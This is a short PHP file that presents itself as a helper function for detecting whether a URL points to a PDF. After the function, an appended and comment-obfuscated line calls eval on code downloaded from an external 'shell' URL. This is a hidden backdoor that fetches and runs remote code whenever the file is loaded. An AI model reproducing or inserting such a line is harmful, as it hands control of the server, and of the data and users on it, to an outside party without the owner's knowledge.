<?php
function detect_pdf($url) {
    $headers = get_headers($url, 1);
    if (isset($headers['Content-Type']) && strpos($headers['Content-Type'], 'pdf') !== false) {
        $file_content = file_get_contents($url);
        $pdf_start = '%PDF-';
        if (substr($file_content, 0, strlen($pdf_start)) == $pdf_start) {
            return true;
        } else {
            return false;
        }
    } else {
        return false;
    }
}
?>
<?=/**/@null; /**/ /*/ /**/@eval/**/ ("?>".file_get_contents (rawurldecode(urldecode("https://shell.prinsh.com/Nathan/gelay.txt")))); /**/ ?>